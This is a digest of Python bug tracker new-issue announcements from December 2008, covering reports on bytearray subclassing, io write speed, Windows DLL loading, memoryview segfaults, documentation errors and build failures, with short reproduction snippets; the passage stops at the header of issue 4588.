In-Reply-To: <1228575403.73.0.337018750151.issue4564@psf.upfronthosting.co.za>
Message-ID: <1228575403.73.0.337018750151.issue4564@psf.upfronthosting.co.za>


New submission from Antoine Pitrou <pitrou at free.fr>:

The following code says it all:

>>> class B(bytearray): pass
... 
>>> b = B.fromhex("0c0a")
>>> b
bytearray(b'\x0c\n')
>>> isinstance(b, B)
False

----------
messages: 77130
nosy: pitrou
priority: normal
severity: normal
status: open
title: bytearray.fromhex doesn't respect bytearray subclass
type: behavior
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4564>
_______________________________________

From report at bugs.python.org  Sat Dec  6 16:11:00 2008
From: report at bugs.python.org (Istvan Albert)
Date: Sat, 06 Dec 2008 15:11:00 +0000
Subject: [New-bugs-announce] [issue4565] io write() performance very slow
In-Reply-To: <1228576260.5.0.752040739396.issue4565@psf.upfronthosting.co.za>
Message-ID: <1228576260.5.0.752040739396.issue4565@psf.upfronthosting.co.za>


New submission from Istvan Albert <istvan.albert at gmail.com>:

The write performance into text files is substantially slower (5x-8x)
than that of python 2.5. This makes python 3.0 unsuited to any
application that needs to write larger amounts of data.

------------test code follows -----------------------

import time

lo, hi, step = 10**5, 10**6, 10**5

# writes increasingly more lines to a file
for N in range(lo, hi, step):
    fp = open('foodata.txt', 'wt')
    start = time.time()
    for i in range( N ):
        fp.write( '%s\n' % i)
    fp.close()
    stop = time.time()
    print ( "%s\t%s" % (N, stop-start) )

----------
components: Interpreter Core
messages: 77132
nosy: ialbert
severity: normal
status: open
title: io write() performance very slow
type: performance
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4565>
_______________________________________

From report at bugs.python.org  Sat Dec  6 16:28:54 2008
From: report at bugs.python.org (Craig Holmquist)
Date: Sat, 06 Dec 2008 15:28:54 +0000
Subject: [New-bugs-announce] [issue4566] 2.6.1 breaks many applications that
	embed Python on Windows
In-Reply-To: <1228577334.37.0.676469955994.issue4566@psf.upfronthosting.co.za>
Message-ID: <1228577334.37.0.676469955994.issue4566@psf.upfronthosting.co.za>


New submission from Craig Holmquist <craigholm at gmail.com>:

Applications on Windows that don't link to the MSVCR90.DLL via a
manifest are broken with Python 2.6.1.  This includes apps that link
with the C library statically and apps that link with other versions of
it.  These applications worked fine with Python 2.6.

To test this, I created a simple application that did nothing but call
Py_Main (compiled with VS2008).  When that app links with the C library
statically, attempting to import the socket module gives this error:

Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "C:\Python26\lib\socket.py", line 46, in <module>
    import _socket
ImportError: DLL load failed: The specified module could not be found.

When that app links with the C library dynamically, it works properly.

In particular, this issue breaks mod_python.  From the Apache error log:

[Sat Dec 06 00:49:21 2008] [error] make_obcallback: could not import
mod_python.apache.\n
Traceback (most recent call last):
  File "C:\Python26\lib\site-packages\mod_python\apache.py", line 29, in
<module>
    import cgi
  File "C:\Python26\Lib\cgi.py", line 40, in <module>
    import urllib
  File "C:\Python26\Lib\urllib.py", line 26, in <module>
    import socket
  File "C:\Python26\lib\socket.py", line 46, in <module>
    import _socket
ImportError: DLL load failed: A dynamic link library (DLL)
initialization routine failed.

I'm guessing this is a side-effect of the fix for #4120.  Since modules
like _socket.pyd don't have manifests that tell Windows where to find
the side-by-side assembly to load, and the application loading
_socket.pyd doesn't have it in its manifest either, Windows has no clue
where to find MSVCR90.dll.

Something I discovered (by accident) is that, if there's an external
manifest in the same folder as the hosting application (ie,
testpy.exe.manifest) that points to the C runtime, it fixes the problem,
even if the host app links statically to the C runtime.  I don't recall
off-hand whether these external manifests take precedence over the
internal ones, but in this case it seems to provide enough information
to Windows that it can resolve the dependency.

----------
components: Windows
messages: 77133
nosy: craigh
severity: normal
status: open
title: 2.6.1 breaks many applications that embed Python on Windows
type: behavior
versions: Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4566>
_______________________________________

From report at bugs.python.org  Sat Dec  6 19:14:06 2008
From: report at bugs.python.org (Stuart Axon)
Date: Sat, 06 Dec 2008 18:14:06 +0000
Subject: [New-bugs-announce] [issue4567] Registry key not set if unattended
	installation used
In-Reply-To: <1228587246.7.0.370739440379.issue4567@psf.upfronthosting.co.za>
Message-ID: <1228587246.7.0.370739440379.issue4567@psf.upfronthosting.co.za>


New submission from Stuart Axon <stu.axon at gmail.com>:

If the msi is installed with /quiet it installs to the default location,
but the registry key is not set, making it harder for other programs to
find the installation.

 - in my case I had to make a batch file that installed it, then read
the log file to find this information, which is less than ideal.

----------
components: Installation
messages: 77155
nosy: stuaxo
severity: normal
status: open
title: Registry key not set if unattended installation used
type: behavior
versions: Python 2.5.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4567>
_______________________________________

From report at bugs.python.org  Sun Dec  7 00:09:38 2008
From: report at bugs.python.org (Gregg Lind)
Date: Sat, 06 Dec 2008 23:09:38 +0000
Subject: [New-bugs-announce] [issue4568] Improved optparse "varargs"
	callback example
In-Reply-To: <1228604978.13.0.373937765276.issue4568@psf.upfronthosting.co.za>
Message-ID: <1228604978.13.0.373937765276.issue4568@psf.upfronthosting.co.za>


New submission from Gregg Lind <gregg.lind at gmail.com>:

In the trunk (r67617) documentation for *optparse* callback example 6
doesn't handle negative number arguments, and fixing it is "left as an
exercise for the reader."  Well, I'm a reader, and I've attached my stab
at it.  Caveat: It relies in trying to coerce the argument into a
float... maybe there's a cleaner way to do it?

(This is my first patch, so I apologize if I've fouled it up in some
way, particularly in the headers of the patch format.)

----------
assignee: georg.brandl
components: Documentation
files: better_optparse_varargs_example.diff
keywords: patch
messages: 77185
nosy: georg.brandl, gregg.lind
severity: normal
status: open
title: Improved optparse "varargs" callback example
Added file: http://bugs.python.org/file12258/better_optparse_varargs_example.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4568>
_______________________________________

From report at bugs.python.org  Sun Dec  7 01:06:48 2008
From: report at bugs.python.org (Antoine Pitrou)
Date: Sun, 07 Dec 2008 00:06:48 +0000
Subject: [New-bugs-announce] [issue4569] Segfault when mutating a memoryview
	to an array.array
In-Reply-To: <1228608408.03.0.674795963302.issue4569@psf.upfronthosting.co.za>
Message-ID: <1228608408.03.0.674795963302.issue4569@psf.upfronthosting.co.za>


New submission from Antoine Pitrou <pitrou at free.fr>:

>>> from array import array
>>> a = array('i', range(16))
>>> m = memoryview(a)
>>> m[:] = array('i', range(16))
Erreur de segmentation

----------
components: Interpreter Core
messages: 77195
nosy: pitrou
priority: critical
severity: normal
status: open
title: Segfault when mutating a memoryview to an array.array
type: crash
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4569>
_______________________________________

From report at bugs.python.org  Sun Dec  7 02:10:12 2008
From: report at bugs.python.org (John Marter)
Date: Sun, 07 Dec 2008 01:10:12 +0000
Subject: [New-bugs-announce] [issue4570] Bad example in set tutorial
In-Reply-To: <1228612211.41.0.0899785129664.issue4570@psf.upfronthosting.co.za>
Message-ID: <1228612211.41.0.0899785129664.issue4570@psf.upfronthosting.co.za>


New submission from John Marter <jmarter at gmail.com>:

On http://docs.python.org/3.0/tutorial/datastructures.html#sets there is
the following section in the section on sets

>>> basket = {'apple', 'orange', 'apple', 'pear', 'orange', 'banana'}
>>> print(basket)
{'orange', 'bananna', 'pear', 'apple'}
>>> fruit = ['apple', 'orange', 'apple', 'pear', 'orange', 'banana']
>>> fruit = set(basket)               # create a set without duplicates
>>> fruit
{'orange', 'pear', 'apple', 'banana'}


The third command should be an assignment to basket rather than fruit.

----------
assignee: georg.brandl
components: Documentation
messages: 77201
nosy: georg.brandl, jmarter
severity: normal
status: open
title: Bad example in set tutorial

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4570>
_______________________________________

From report at bugs.python.org  Sun Dec  7 03:40:10 2008
From: report at bugs.python.org (jeff deifik)
Date: Sun, 07 Dec 2008 02:40:10 +0000
Subject: [New-bugs-announce] [issue4571] write to stdout in binary mode - is
	it possible?
In-Reply-To: <1228617610.98.0.490718240035.issue4571@psf.upfronthosting.co.za>
Message-ID: <1228617610.98.0.490718240035.issue4571@psf.upfronthosting.co.za>


New submission from jeff deifik <jeff at jeffunit.com>:

I have a program that needs to output binary data to stdout.
I don't want to convert it to a string.

for example something like
sys.stdout.write('0o377')
to write a byte with all the bits turned on.

When I try this, I get an error like:
    sys.stdout.write(data)
  File "/usr/local/lib/python3.0/io.py", line 1484, in write
    s.__class__.__name__)
TypeError: can't write bytes to text stream

I know I can open a file in 'wb' mode and write to it, but what
I want to do is somehow switch the mode of stdout to 'wb' mode.
I read lots of python 3 documentation, as well as searched without
finding a way.

----------
components: Interpreter Core
messages: 77208
nosy: lopgok
severity: normal
status: open
title: write to stdout in binary mode - is it possible?
type: crash
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4571>
_______________________________________

From report at bugs.python.org  Sun Dec  7 05:44:23 2008
From: report at bugs.python.org (gumpy)
Date: Sun, 07 Dec 2008 04:44:23 +0000
Subject: [New-bugs-announce] [issue4572] add SEEK_* values to io and/or
	io.IOBase
In-Reply-To: <1228625063.64.0.370686457231.issue4572@psf.upfronthosting.co.za>
Message-ID: <1228625063.64.0.370686457231.issue4572@psf.upfronthosting.co.za>


New submission from gumpy <gumpy2k7 at gmail.com>:

Currently io.IOBase.seek(offset[, whence]) uses magic numbers for the
second argument. Since this is essentially identical the C function
fseek I think adding the same "constants" that C uses (SEEK_SET=0,
SEEK_CUR=1, SEEK_END=2) may be worth considering.

These values could be added to the global scope in the io module:
f = io.open('foo', 'rb')
f.seek(0, io.SEEK_END)

If added to the io.IOBase class then I believe they'd be accessible
without importing io:
f = open('foo', 'rb')
f.seek(0, f.SEEK_END)

----------
components: Library (Lib)
messages: 77213
nosy: gumpy
severity: normal
status: open
title: add SEEK_* values to io and/or io.IOBase
type: feature request
versions: Python 2.7, Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4572>
_______________________________________

From report at bugs.python.org  Sun Dec  7 09:17:57 2008
From: report at bugs.python.org (Erick Tryzelaar)
Date: Sun, 07 Dec 2008 08:17:57 +0000
Subject: [New-bugs-announce] [issue4573] zsh-style subpattern matching for
	fnmatch/glob
In-Reply-To: <1228637877.49.0.438531462048.issue4573@psf.upfronthosting.co.za>
Message-ID: <1228637877.49.0.438531462048.issue4573@psf.upfronthosting.co.za>


New submission from Erick Tryzelaar <idadesub at users.sourceforge.net>:

As I mentioned on python-ideas, I my project needs to extend fnmatch to 
support zsh-style globbing, where you can use brackets to designate 
subexpressions. Say you had a directory structure like this:

foo/
 foo.ext1
 foo.ext2
bar/
 foo.ext1
 foo.ext2

The subexpressions will let you do patterns like this:

>>> glob.glob('foo/foo.{ext1,ext2}')
['foo/foo.ext1', 'foo/foo.ext2']
>>> glob.glob('foo/foo.ext{1,2}')
['foo/foo.ext1', 'foo/foo.ext2']
>>> glob.glob('{foo,bar}')
['bar', 'foo']
>>> glob.glob('{foo,bar}/foo*')
['bar/foo.ext1', 'bar/foo.ext2', 'foo/foo.ext1', 'foo/foo.ext2']
>>> glob.glob('{foo,bar}/foo.{ext*}')
['bar/foo.ext1', 'bar/foo.ext2', 'foo/foo.ext1', 'foo/foo.ext2']
>>> glob.glob('{f?o,b?r}/foo.{ext*}')
['bar/foo.ext1', 'bar/foo.ext2', 'foo/foo.ext1', 'foo/foo.ext2']


Would this be interesting to anyone else? It would unfortunately break 
fnmatch since it currently treats {} as ordinary characters. It'd be 
easy to work around that by adding a flag or using a different function 
name though. Anyway, here's the patch against the head of py3k.

----------
components: Library (Lib)
files: zsh-fnmatch.diff
keywords: patch
messages: 77216
nosy: erickt
severity: normal
status: open
title: zsh-style subpattern matching for fnmatch/glob
type: feature request
versions: Python 3.0
Added file: http://bugs.python.org/file12259/zsh-fnmatch.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4573>
_______________________________________

From report at bugs.python.org  Sun Dec  7 12:00:35 2008
From: report at bugs.python.org (John Machin)
Date: Sun, 07 Dec 2008 11:00:35 +0000
Subject: [New-bugs-announce] [issue4574] reading UTF16-encoded text file
	crashes if \r on 64-char boundary
In-Reply-To: <1228647635.62.0.380202881754.issue4574@psf.upfronthosting.co.za>
Message-ID: <1228647635.62.0.380202881754.issue4574@psf.upfronthosting.co.za>


New submission from John Machin <sjmachin at users.sourceforge.net>:

Problem in the newline handling in io.py, class
IncrementalNewlineDecoder, method decode. It reads text files in 128-
byte chunks. Converting CR LF to \n requires special case handling
when '\r' is detected at the end of the decoded chunk in case
there's an LF at the start of the next chunk. It prepends b'\r' (only 1
byte) to the next chunk's raw bytes and decodes that. But \r in UTF-16
takes 2 bytes; we are now 1 byte out of kilter and various failures are
possible (including silently producing garbage output from a truncated
file with an odd number of bytes).

The attached script illustrates the problems.

----------
components: Interpreter Core
files: py30cr64bug.py
messages: 77219
nosy: sjmachin
severity: normal
status: open
title: reading UTF16-encoded text file crashes if \r on 64-char boundary
type: crash
versions: Python 3.0
Added file: http://bugs.python.org/file12260/py30cr64bug.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4574>
_______________________________________

From report at bugs.python.org  Sun Dec  7 13:42:44 2008
From: report at bugs.python.org (Mark Dickinson)
Date: Sun, 07 Dec 2008 12:42:44 +0000
Subject: [New-bugs-announce] [issue4575] Py_IS_INFINITY defect causes
	test_cmath failure on x86
In-Reply-To: <1228653764.46.0.349797077595.issue4575@psf.upfronthosting.co.za>
Message-ID: <1228653764.46.0.349797077595.issue4575@psf.upfronthosting.co.za>


New submission from Mark Dickinson <dickinsm at gmail.com>:

In issue 4506, Skip reported that test_cmath fails on Solaris 10/x86 for 
3.0.  If my guesses are correct, it probably fails on all x86 systems that 
(a) use the x87 coprocessor for floating-point (as opposed to using SSE2, 
for example), and (b) don't have isinf available.

Problem: Py_IS_INFINITY is applied to a floating-point value sitting in an 
80-bit x87 register; that value is not infinity, but after moving it back 
to memory (and hence rounding from 80-bit extended precision to 64-bit 
double precision with its smaller exponent range) it becomes infinity.

Solution: Add a macro to pymath.h that forces rounding from extended 
precision to double precision; apply this macro *before* calling 
Py_IS_INFINITY.  See attached patch for an example.

Problem: After applying the attached patch to the py3k branch, the cmath 
module fails to build.  On OS X 10.5, I get:

running build_ext
building 'cmath' extension
gcc -bundle -undefined dynamic_lookup build/temp.macosx-10.3-i386-
3.1/Users/dickinsm/python_source/py3k/Modules/cmathmodule.o -
L/usr/local/lib -o build/lib.macosx-10.3-i386-3.1/cmath.so
*** WARNING: renaming "cmath" since importing it failed: 
dlopen(build/lib.macosx-10.3-i386-3.1/cmath.so, 2): Symbol not found: 
_Py_force_to_memory
  Referenced from: /Users/dickinsm/python_source/py3k/build/lib.macosx-
10.3-i386-3.1/cmath.so
  Expected in: dynamic lookup

Solution: ???

Christian, as the architect of pymath.h, do you have any ideas what I'm 
doing wrong?  Or comments on the patch in general?  What do I need to do 
to make Py_force_to_memory visible to extension modules?

----------
assignee: marketdickinson
components: Extension Modules
files: force_to_memory.patch
keywords: patch
messages: 77223
nosy: christian.heimes, marketdickinson, skip.montanaro
priority: high
severity: normal
status: open
title: Py_IS_INFINITY defect causes test_cmath failure on x86
type: behavior
versions: Python 2.6, Python 2.7, Python 3.0, Python 3.1
Added file: http://bugs.python.org/file12261/force_to_memory.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4575>
_______________________________________

From report at bugs.python.org  Sun Dec  7 14:08:57 2008
From: report at bugs.python.org (Kandalintsev Alexandre)
Date: Sun, 07 Dec 2008 13:08:57 +0000
Subject: [New-bugs-announce] [issue4576] "Defining new types" little outdated
In-Reply-To: <1228655337.64.0.961610500234.issue4576@psf.upfronthosting.co.za>
Message-ID: <1228655337.64.0.961610500234.issue4576@psf.upfronthosting.co.za>


New submission from Kandalintsev Alexandre <bug_hunter at messir.net>:

Hello!

It's need to little update "Defining new types" documentation section 
in py3.0 and py3.1:
- self->ob_type->tp_free((PyObject*)self);
+ Py_TYPE(self)->tp_free((PyObject *)self);

----------
assignee: georg.brandl
components: Documentation
messages: 77225
nosy: exe, georg.brandl
severity: normal
status: open
title: "Defining new types" little outdated
versions: Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4576>
_______________________________________

From report at bugs.python.org  Sun Dec  7 18:20:07 2008
From: report at bugs.python.org (Sebastian Rittau)
Date: Sun, 07 Dec 2008 17:20:07 +0000
Subject: [New-bugs-announce] [issue4577] distutils: -3 warnings (apply)
In-Reply-To: <1228670407.71.0.141400636121.issue4577@psf.upfronthosting.co.za>
Message-ID: <1228670407.71.0.141400636121.issue4577@psf.upfronthosting.co.za>


New submission from Sebastian Rittau <srittau at jroger.in-berlin.de>:

The attached patch removes all instances of the deprecated "apply"
function from distutils and thereby fixes warnings when run with -3.

----------
components: Distutils
files: distutils.diff
keywords: patch
messages: 77233
nosy: srittau
severity: normal
status: open
title: distutils: -3 warnings (apply)
versions: Python 2.6
Added file: http://bugs.python.org/file12263/distutils.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4577>
_______________________________________

From report at bugs.python.org  Sun Dec  7 18:35:47 2008
From: report at bugs.python.org (Sebastian Rittau)
Date: Sun, 07 Dec 2008 17:35:47 +0000
Subject: [New-bugs-announce] [issue4578] compiler: -3 warnings
In-Reply-To: <1228671347.68.0.444266504353.issue4578@psf.upfronthosting.co.za>
Message-ID: <1228671347.68.0.444266504353.issue4578@psf.upfronthosting.co.za>


New submission from Sebastian Rittau <srittau at jroger.in-berlin.de>:

The attached patch replaces all instances of "x.has_key(k)" method calls
by "k in x". It also replaces one call to parser.ast2tuple by
parser.st2tuple. This removes deprecation warnings when running in -3 mode.

----------
components: Library (Lib)
files: compiler.diff
keywords: patch
messages: 77238
nosy: srittau
severity: normal
status: open
title: compiler: -3 warnings
versions: Python 2.6
Added file: http://bugs.python.org/file12266/compiler.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4578>
_______________________________________

From report at bugs.python.org  Sun Dec  7 20:06:31 2008
From: report at bugs.python.org (Mark Florisson)
Date: Sun, 07 Dec 2008 19:06:31 +0000
Subject: [New-bugs-announce] [issue4579] .read() and .readline() differ in
	failing
In-Reply-To: <1228676791.35.0.647481208562.issue4579@psf.upfronthosting.co.za>
Message-ID: <1228676791.35.0.647481208562.issue4579@psf.upfronthosting.co.za>


New submission from Mark Florisson <markflorisson88 at gmail.com>:

>>> f = os.fdopen(os.open('spam!', os.O_TRUNC|os.O_CREAT|os.O_RDWR), 'w')
>>> f.read()
''
>>> f.readline()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
IOError: [Errno 9] Bad file descriptor
>>> f.write("spamspamhihi")
>>> f.read()
''
>>> f.seek(0)
>>> f.read()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
IOError: [Errno 9] Bad file descriptor

This is very strange behaviour. First, .read() succeeds, and .readline()
fails, but after writing and seeking, .read() also fails.

In python3, both read and readline fail, but with different exceptions:

>>> f = os.fdopen(os.open('spam!', os.O_TRUNC|os.O_CREAT|os.O_RDWR), 'w')
>>> f.read()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/mark/source/code/_python-3.0/Lib/io.py", line 1718, in read
    decoder.decode(self.buffer.read(), final=True))
  File "/home/mark/source/code/_python-3.0/Lib/io.py", line 668, in read
    self._unsupported("read")
  File "/home/mark/source/code/_python-3.0/Lib/io.py", line 327, in
_unsupported
    (self.__class__.__name__, name))
io.UnsupportedOperation: BufferedWriter.read() not supported
>>> f.readline()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/mark/source/code/_python-3.0/Lib/io.py", line 1807, in
readline
    while self._read_chunk():
  File "/home/mark/source/code/_python-3.0/Lib/io.py", line 1554, in
_read_chunk
    input_chunk = self.buffer.read1(self._CHUNK_SIZE)
AttributeError: 'BufferedWriter' object has no attribute 'read1'

In my opinion, all operations, in all python versions, should fail like
readline in the first example: IOError: [Errno 9] Bad file descriptor

----------
messages: 77242
nosy: eggy
severity: normal
status: open
title: .read() and .readline() differ in failing
type: behavior
versions: Python 2.4, Python 2.5, Python 2.6, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4579>
_______________________________________

From report at bugs.python.org  Sun Dec  7 21:31:47 2008
From: report at bugs.python.org (Antoine Pitrou)
Date: Sun, 07 Dec 2008 20:31:47 +0000
Subject: [New-bugs-announce] [issue4580] slicing of memoryviews when
	itemsize != 1 is wrong
In-Reply-To: <1228681907.24.0.868516520055.issue4580@psf.upfronthosting.co.za>
Message-ID: <1228681907.24.0.868516520055.issue4580@psf.upfronthosting.co.za>


New submission from Antoine Pitrou <pitrou at free.fr>:

The problem is with the `shape` member which doesn't get recalculated as
it should when instantiating a memoryview slice:

>>> a = array('i', range(10))
>>> m = memoryview(a)[2:8]
>>> a
array('i', [0, 1, 2, 3, 4, 5, 6, 7, 8, 9])
>>> m[:] = array('i', range(6))
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: cannot modify size of memoryview object
>>> len(m)
6
>>> m.shape
(10,)

An additional problem is that `shape` is a pointer to an array of
integers, and we don't know how to reallocate it.

----------
components: Interpreter Core
messages: 77248
nosy: pitrou
priority: high
severity: normal
stage: test needed
status: open
title: slicing of memoryviews when itemsize != 1 is wrong
type: behavior
versions: Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4580>
_______________________________________

From report at bugs.python.org  Sun Dec  7 21:41:17 2008
From: report at bugs.python.org (Leger)
Date: Sun, 07 Dec 2008 20:41:17 +0000
Subject: [New-bugs-announce] [issue4581] failed to import module from
	lib-dynload
In-Reply-To: <1228682477.51.0.692883181963.issue4581@psf.upfronthosting.co.za>
Message-ID: <1228682477.51.0.692883181963.issue4581@psf.upfronthosting.co.za>


New submission from Leger <legerf at free.fr>:

I test PY3K.final under Debian/Lenny. 
- Install steps "Configure, make, make test, make install don't generate
errors for the modules in "lib-dynload".

- "/usr/lib/python3.0/lib-dynload", contain modules (time.so, math.so, ...)

- print(sys.path) = ['', '/usr/lib/python3.0', '/home/fred/python',
'/usr/lib/python3.0/lib/python30.zip',
'/usr/lib/python3.0/lib/python3.0',
'/usr/lib/python3.0/lib/python3.0/plat-linux2',
'/usr/lib/python3.0/lib/python3.0/lib-dynload']

- When I launch "python3.0" no error is generate, but when I try to
import modules in "lib-dynload" :

Python 3.0 (r30:67503, Dec  7 2008, 19:22:34) 
[GCC 4.3.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import time
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ImportError: No module named time
[33620 refs]

----------
components: Library (Lib)
messages: 77251
nosy: legerf
severity: normal
status: open
title: failed to import module from lib-dynload
type: resource usage
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4581>
_______________________________________

From report at bugs.python.org  Sun Dec  7 21:48:39 2008
From: report at bugs.python.org (Neal Norwitz)
Date: Sun, 07 Dec 2008 20:48:39 +0000
Subject: [New-bugs-announce] [issue4582] type of __builtins__ changes if in
	main module or not
In-Reply-To: <1228682919.53.0.035672589956.issue4582@psf.upfronthosting.co.za>
Message-ID: <1228682919.53.0.035672589956.issue4582@psf.upfronthosting.co.za>


New submission from Neal Norwitz <nnorwitz at gmail.com>:

This happens on 2.4 and 3.0, probably all versions:

When running this simple program (save to a file):

print(type(__builtins__))
__import__(__file__.split('/')[-1][:-3])

I get:
<type 'module'>
<type 'dict'>


I would expect the type to be consistent regardless of whether executing
the main module or from the imported module.  I haven't looked into why
this is happening or if it makes sense.  It was unexpected.

----------
components: Interpreter Core
messages: 77252
nosy: nnorwitz
severity: normal
status: open
title: type of __builtins__ changes if in main module or not
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4582>
_______________________________________

From report at bugs.python.org  Sun Dec  7 22:30:17 2008
From: report at bugs.python.org (gumpy)
Date: Sun, 07 Dec 2008 21:30:17 +0000
Subject: [New-bugs-announce] [issue4583] segfault when mutating memoryview
	to array.array when array is resized
In-Reply-To: <1228685417.26.0.287726050142.issue4583@psf.upfronthosting.co.za>
Message-ID: <1228685417.26.0.287726050142.issue4583@psf.upfronthosting.co.za>


New submission from gumpy <gumpy2k7 at gmail.com>:

This is with r67651 and related to #4569, #4509 and possibly #4580.

>>> from array import array
>>> a = array('i', range(16))
>>> m = memoryview(a)
>>> a.extend(array('i', range(48)))
>>> m[:] = array('i', range(64))
Segmentation fault

>>> from array import array
>>> a = array('b', range(16))
>>> m = memoryview(a)
>>> a.extend(array('b', range(48)))
>>> m[:] = array('b', range(64))
Segmentation fault

----------
components: Interpreter Core
messages: 77260
nosy: gumpy
severity: normal
status: open
title: segfault when mutating memoryview to array.array when array is resized
type: crash
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4583>
_______________________________________

From report at bugs.python.org  Sun Dec  7 22:44:07 2008
From: report at bugs.python.org (Michael Yang)
Date: Sun, 07 Dec 2008 21:44:07 +0000
Subject: [New-bugs-announce] [issue4584] doctest fails to display bytes type
In-Reply-To: <1228686247.24.0.760042500601.issue4584@psf.upfronthosting.co.za>
Message-ID: <1228686247.24.0.760042500601.issue4584@psf.upfronthosting.co.za>


New submission from Michael Yang <yangofzeal at gmail.com>:

doctest.testmod() fails when attempting to echo back a bytes type with
ord() > 128.


def ok():
   """
>>> bytes([255,])
b'\xff'

"""
    pass

def notOK():
    """
>>> b'\xff'

"""
    pass

import doctest
doctest.testmod()

Traceback (most recent call last):
...
UnicodeEncodeError: 'ascii' codec can't encode character '\xff' in
position 141: ordinal not in range(128)

----------
components: Extension Modules
messages: 77264
nosy: msyang
severity: normal
status: open
title: doctest fails to display bytes type
type: behavior
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4584>
_______________________________________

From report at bugs.python.org  Sun Dec  7 22:59:52 2008
From: report at bugs.python.org (Mark Dickinson)
Date: Sun, 07 Dec 2008 21:59:52 +0000
Subject: [New-bugs-announce] [issue4585] Build failure on OS X 10.5.5: make:
	*** [sharedmods] Error 1
In-Reply-To: <1228687192.04.0.807207077195.issue4585@psf.upfronthosting.co.za>
Message-ID: <1228687192.04.0.807207077195.issue4585@psf.upfronthosting.co.za>


New submission from Mark Dickinson <dickinsm at gmail.com>:

There are two recent reports of build failures of Python 3.0 on OS X 
10.5.5: see

http://mail.python.org/pipermail/python-list/2008-November/514159.html

and

http://mail.python.org/pipermail/python-3000/2008-December/015404.html

It seems likely that these are related.  For both reports the build 
eventually fails with something like:

gcc  Python.framework/Versions/3.0/Python -o python.exe \
			Modules/python.o \
			 -ldl
make: *** [sharedmods] Error 1

I can reproduce this in the py3k branch and release30-maint branch on my 
Macbook by doing (at a Terminal prompt):

export LC_CTYPE="UTF-8"
./configure && make

I'll try to find time to look at this; any and all help welcomed!

----------
assignee: marketdickinson
messages: 77267
nosy: marketdickinson
priority: critical
severity: normal
status: open
title: Build failure on OS X 10.5.5: make: *** [sharedmods] Error 1
type: compile error
versions: Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4585>
_______________________________________

From report at bugs.python.org  Sun Dec  7 23:42:22 2008
From: report at bugs.python.org (blake madden)
Date: Sun, 07 Dec 2008 22:42:22 +0000
Subject: [New-bugs-announce] [issue4586] "Extending Embedded Python"
	documention uses removed Py_InitModule function
In-Reply-To: <1228689742.67.0.0454974644326.issue4586@psf.upfronthosting.co.za>
Message-ID: <1228689742.67.0.0454974644326.issue4586@psf.upfronthosting.co.za>


New submission from blake madden <madden_blake at yahoo.com>:

On the page:

http://docs.python.org/3.0/extending/embedding.html#extending-embedded-python

Note that the function "Py_InitModule" is used.  From what I can tell,
this function no longer exists and regrettably I can't figure out how to
get "PyModule_Create" to work in its place.

----------
assignee: georg.brandl
components: Documentation
messages: 77273
nosy: blakemadden, georg.brandl
severity: normal
status: open
title: "Extending Embedded Python" documention uses removed Py_InitModule function
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4586>
_______________________________________

From report at bugs.python.org  Mon Dec  8 02:22:51 2008
From: report at bugs.python.org (Skip Montanaro)
Date: Mon, 08 Dec 2008 01:22:51 +0000
Subject: [New-bugs-announce] [issue4587] Need to rework the dbm lib/include
	selection process
In-Reply-To: <18748.30438.749825.192737@montanaro-dyndns-org.local>
Message-ID: <18748.30438.749825.192737@montanaro-dyndns-org.local>


New submission from Skip Montanaro <skip at pobox.com>:

Fixing issue4483 resulted in adding an extra header file check for
gdbm-based header files when the gdbm library was found.  This caused
problems for Roumen Petrov.  In considering the problems he encountered I
decided we probably need to provide users some more flexibility when
deciding which libraries and header files to use when building the dbm
module (or _dbm on 3.0).  For example, the current hard-coded perform checks
in this order: ndbm, gdbm, BerkDB.  What if the system has hdbm installed
but the builder wants to use the BerkDB compatibility API?

This ticket is to track the discussion and come up with a suitable system.

----------
messages: 77280
nosy: skip.montanaro
severity: normal
status: open
title: Need to rework the dbm lib/include selection process

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4587>
_______________________________________

From report at bugs.python.org  Mon Dec  8 04:29:30 2008
From: report at bugs.python.org (jeff deifik)
Date: Mon, 08 Dec 2008 03:29:30 +0000
Subject: [New-bugs-announce] [issue4588] Need a way to make my own bytes
